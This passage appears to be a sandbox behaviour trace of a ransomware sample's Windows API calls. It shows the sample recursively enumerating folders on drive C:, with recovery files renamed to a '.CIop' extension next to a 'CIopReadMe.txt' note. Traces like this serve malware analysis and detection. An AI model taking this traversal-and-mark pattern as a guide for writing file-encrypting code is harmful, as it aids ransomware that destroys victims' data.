out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0138.397] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0138.397] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Config.Msi\\" | out: lpString1="C:\\Config.Msi\\") returned="C:\\Config.Msi\\" [0138.398] lstrcatW (in: lpString1="C:\\Config.Msi\\", lpString2="*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0138.398] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.398] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0138.398] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0138.398] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.398] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.398] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.398] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.398] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0138.398] lstrcatW (in: lpString1="C:\\Config.Msi", lpString2="\\*.*" | out: lpString1="C:\\Config.Msi\\*.*") returned="C:\\Config.Msi\\*.*" [0138.398] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.399] PathFindFileNameW (pszPath="C:\\Config.Msi") returned="Config.Msi" [0138.399] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi" [0138.399] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.399] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.399] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.399] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.399] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.399] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.399] lstrcmpW (lpString1="Documents and Settings", lpString2="..") returned 1 [0138.399] lstrcmpW (lpString1="Documents and Settings", lpString2=".") returned 1 [0138.399] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.399] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.399] lstrcatW (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0138.399] SetErrorMode (uMode=0x1) returned 0x1 [0138.399] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0138.400] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0138.400] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Documents and Settings\\" | out: lpString1="C:\\Documents and Settings\\") returned="C:\\Documents and Settings\\" [0138.400] lstrcatW (in: lpString1="C:\\Documents and Settings\\", lpString2="*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0138.400] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0138.400] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0138.400] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0138.400] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.400] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.400] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.400] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0138.400] lstrcatW (in: lpString1="C:\\Documents and Settings", lpString2="\\*.*" | out: lpString1="C:\\Documents and Settings\\*.*") returned="C:\\Documents and Settings\\*.*" [0138.400] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0138.400] PathFindFileNameW (pszPath="C:\\Documents and Settings") returned="Documents and Settings" [0138.400] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings" [0138.400] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.400] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.400] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.400] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.401] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.401] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.401] lstrcmpW (lpString1="PerfLogs", lpString2="..") returned 1 [0138.401] lstrcmpW (lpString1="PerfLogs", lpString2=".") returned 1 [0138.401] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.401] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.401] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0138.401] SetErrorMode (uMode=0x1) returned 0x1 [0138.401] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0138.401] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0138.401] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0138.401] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0138.401] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.401] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0138.401] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0138.401] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.401] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs" [0138.401] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*.*" | out: lpString1="C:\\PerfLogs\\*.*") returned="C:\\PerfLogs\\*.*" [0138.401] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0138.402] PathFindFileNameW (pszPath="C:\\PerfLogs") returned="PerfLogs" [0138.402] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="PerfLogs" | out: lpString1="PerfLogs") returned="PerfLogs" [0138.402] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.402] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.402] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0138.402] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0138.402] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.402] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.402] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0138.402] SetErrorMode (uMode=0x1) returned 0x1 [0138.402] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0138.402] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0138.402] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0138.402] lstrcatW (in: lpString1="C:\\Program Files\\", lpString2="*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0138.402] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0138.402] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0138.402] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0138.402] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0138.402] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files" [0138.403] lstrcatW (in: lpString1="C:\\Program Files", lpString2="\\*.*" | out: lpString1="C:\\Program Files\\*.*") returned="C:\\Program Files\\*.*" [0138.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0138.403] PathFindFileNameW (pszPath="C:\\Program Files") returned="Program Files" [0138.403] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files" | out: lpString1="Program Files") returned="Program Files" [0138.403] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0138.403] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.403] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0138.403] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0138.403] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.403] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.403] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0138.403] SetErrorMode (uMode=0x1) returned 0x1 [0138.403] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0138.403] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0138.403] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0138.403] lstrcatW (in: lpString1="C:\\Program Files (x86)\\", lpString2="*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0138.403] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0138.403] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0138.403] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0138.404] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.404] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0138.404] lstrcatW (in: lpString1="C:\\Program Files (x86)", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\*.*") returned="C:\\Program Files (x86)\\*.*" [0138.404] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0138.404] PathFindFileNameW (pszPath="C:\\Program Files (x86)") returned="Program Files (x86)" [0138.404] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Program Files (x86)" | out: lpString1="Program Files (x86)") returned="Program Files (x86)" [0138.404] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.404] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.404] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0138.404] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0138.404] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.404] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.404] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0138.404] SetErrorMode (uMode=0x1) returned 0x1 [0138.404] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0138.404] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0138.405] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0138.405] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0138.405] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.405] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0138.405] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0138.405] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.405] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0138.405] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*.*" | out: lpString1="C:\\ProgramData\\*.*") returned="C:\\ProgramData\\*.*" [0138.405] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e3f8 [0138.405] PathFindFileNameW (pszPath="C:\\ProgramData") returned="ProgramData" [0138.405] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="ProgramData" | out: lpString1="ProgramData") returned="ProgramData" [0138.405] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0138.405] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.406] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0138.406] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0138.406] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.406] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.406] lstrcatW (in: lpString1="C:\\", lpString2="Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0138.406] SetErrorMode (uMode=0x1) returned 0x1 [0138.406] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0138.406] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0138.406] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0138.406] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0138.406] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e9f8 [0138.406] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0138.406] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0138.406] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.406] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.406] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.406] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.406] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.406] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0138.406] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\*.*") returned="C:\\Recovery\\*.*" [0138.406] FindFirstFileW (in: lpFileName="C:\\Recovery\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0x67e6b8 [0138.407] PathFindFileNameW (pszPath="C:\\Recovery") returned="Recovery" [0138.407] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="Recovery" | out: lpString1="Recovery") returned="Recovery" [0138.407] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.407] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.407] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 1 [0138.407] lstrcmpW (lpString1="WindowsRE", lpString2="..") returned 1 [0138.407] lstrcmpW (lpString1="WindowsRE", lpString2=".") returned 1 [0138.407] lstrcpyW (in: lpString1=0x2dcd6b8, lpString2="C:\\Recovery" | out: lpString1="C:\\Recovery") returned="C:\\Recovery" [0138.407] lstrcatW (in: lpString1="C:\\Recovery", lpString2="\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0138.407] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0138.407] SetErrorMode (uMode=0x1) returned 0x1 [0138.407] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0138.407] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0138.407] lstrcpyW (in: lpString1=0x2dcbe90, lpString2="C:\\Recovery\\WindowsRE\\" | out: lpString1="C:\\Recovery\\WindowsRE\\") returned="C:\\Recovery\\WindowsRE\\" [0138.407] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0138.407] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e9f8 [0138.407] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0138.407] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0138.407] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.407] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.407] lstrcmpW (lpString1="boot.sdi.CIop", lpString2="..") returned 1 [0138.407] lstrcmpW (lpString1="boot.sdi.CIop", lpString2=".") returned 1 [0138.407] lstrlenW (lpString=".CIop") returned 5 [0138.408] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.408] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0138.408] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0138.408] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0138.408] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.408] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2="..") returned 1 [0138.408] lstrcmpW (lpString1="ReAgent.xml.CIop", lpString2=".") returned 1 [0138.408] lstrlenW (lpString=".CIop") returned 5 [0138.408] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.408] lstrcmpW (lpString1="Winre.wim.CIop", lpString2="..") returned 1 [0138.408] lstrcmpW (lpString1="Winre.wim.CIop", lpString2=".") returned 1 [0138.408] lstrlenW (lpString=".CIop") returned 5 [0138.408] FindNextFileW (in: hFindFile=0x67e9f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.408] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 1 [0138.408] FindClose (in: hFindFile=0x67e9f8 | out: hFindFile=0x67e9f8) returned 0 [0138.408] lstrcpyW (in: lpString1=0x2dcc2a0, lpString2="C:\\Recovery\\WindowsRE" | out: lpString1="C:\\Recovery\\WindowsRE") returned="C:\\Recovery\\WindowsRE" [0138.408] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE", lpString2="\\*.*" | out: lpString1="C:\\Recovery\\WindowsRE\\*.*") returned="C:\\Recovery\\WindowsRE\\*.*" [0138.408] FindFirstFileW (in: lpFileName="C:\\Recovery\\WindowsRE\\*.*", lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0x67e3f8 [0138.408] PathFindFileNameW (pszPath="C:\\Recovery\\WindowsRE") returned="WindowsRE" [0138.408] lstrcpyW (in: lpString1=0x2dca884, lpString2="WindowsRE" | out: lpString1="WindowsRE") returned="WindowsRE" [0138.408] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.408] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0138.408] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dcb420 | out: lpFindFileData=0x2dcb420) returned 0 [0138.409] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 1 [0138.409] FindClose (in: hFindFile=0x67e3f8 | out: hFindFile=0x67e3f8) returned 0 [0138.409] FindNextFileW (in: hFindFile=0x67e6b8, lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0 [0138.409] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 1 [0138.409] FindClose (in: hFindFile=0x67e6b8 | out: hFindFile=0x67e6b8) returned 0 [0138.409] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.409] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.409] lstrcmpW (lpString1="System Volume Information", lpString2="..") returned 1 [0138.409] lstrcmpW (lpString1="System Volume Information", lpString2=".") returned 1 [0138.409] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.409] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.409] lstrcatW (in: lpString1="C:\\", lpString2="System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0138.409] SetErrorMode (uMode=0x1) returned 0x1 [0138.409] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0138.409] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0138.410] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\System Volume Information\\" | out: lpString1="C:\\System Volume Information\\") returned="C:\\System Volume Information\\" [0138.410] lstrcatW (in: lpString1="C:\\System Volume Information\\", lpString2="*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0138.410] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0138.410] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0138.410] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0138.410] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.410] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\System Volume Information" | out: lpString1="C:\\System Volume Information") returned="C:\\System Volume Information" [0138.410] lstrcatW (in: lpString1="C:\\System Volume Information", lpString2="\\*.*" | out: lpString1="C:\\System Volume Information\\*.*") returned="C:\\System Volume Information\\*.*" [0138.410] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*.*", lpFindFileData=0x2dcd058 | out: lpFindFileData=0x2dcd058) returned 0xffffffff [0138.410] PathFindFileNameW (pszPath="C:\\System Volume Information") returned="System Volume Information" [0138.410] lstrcpyW (in: lpString1=0x2dcc4bc, lpString2="System Volume Information" | out: lpString1="System Volume Information") returned="System Volume Information" [0138.410] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0138.410] FindNextFileW (in: hFindFile=0x67e378, lpFindFileData=0x2dcec90 | out: lpFindFileData=0x2dcec90) returned 1 [0138.410] lstrcmpW (lpString1="Users", lpString2="..") returned 1 [0138.410] lstrcmpW (lpString1="Users", lpString2=".") returned 1 [0138.410] lstrcpyW (in: lpString1=0x2dcf2f0, lpString2="C:" | out: lpString1="C:") returned="C:" [0138.410] lstrcatW (in: lpString1="C:", lpString2="\\" | out: lpString1="C:\\") returned="C:\\" [0138.410] lstrcatW (in: lpString1="C:\\", lpString2="Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.410] SetErrorMode (uMode=0x1) returned 0x1 [0138.410] lstrcpyW (in: lpString1=0x2dcded8, lpString2="C:\\Users" | out: lpString1="C:\\Users") returned="C:\\Users" [0138.410] lstrcatW (in: lpString1="C:\\Users", lpString2="\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.410] lstrcpyW (in: lpString1=0x2dcdac8, lpString2="C:\\Users\\" | out: lpString1="C:\\Users\\") returned="C:\\Users\\" [0138.410] lstrcatW (in: lpString1="C:\\Users\\", lpString2="*.*" | out: lpString1="C:\\Users\\*.*") returned="C:\\Users\\*.*" [0138.410] 